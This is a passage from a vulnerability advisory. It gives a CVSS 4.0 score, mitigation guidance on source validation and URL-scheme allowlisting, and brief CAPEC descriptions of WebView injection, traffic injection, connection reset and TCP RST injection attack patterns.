"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Architecture and Design
- Use a mechanism that can validate the identity of the source, such as a certificate, and validate the integrity of data to ensure that it cannot be modified in transit using an Adversary-in-the-Middle (AITM) attack.
- When designing functionality of actions in the URL scheme, consider whether the action should be accessible to all mobile applications, or if an allowlist of applications to interface with is appropriate.
CAPEC-500: WebView Injection
An adversary, through a previously installed malicious application, injects code into the context of a web page displayed by a WebView component. Through the injected code, an adversary is able to manipulate the DOM tree and cookies of the page, expose sensitive information, and can launch attacks against the web application from within the web page.
CAPEC-594: Traffic Injection
An adversary injects traffic into the target's network connection. The adversary is therefore able to degrade or disrupt the connection, and potentially modify the content. This is not a flooding attack, as the adversary is not focusing on exhausting resources. Instead, the adversary is crafting a specific input to affect the system in a particular way.
CAPEC-595: Connection Reset
In this attack pattern, an adversary injects a connection reset packet to one or both ends of a target's connection. The attacker is therefore able to have the target and/or the destination server sever the connection without having to directly filter the traffic between them.
CAPEC-596: TCP RST Injection
An adversary injects one or more TCP RST packets to a target after the target has made a HTTP GET request. The goal of this attack is to have the target and/or destination web server terminate the TCP connection.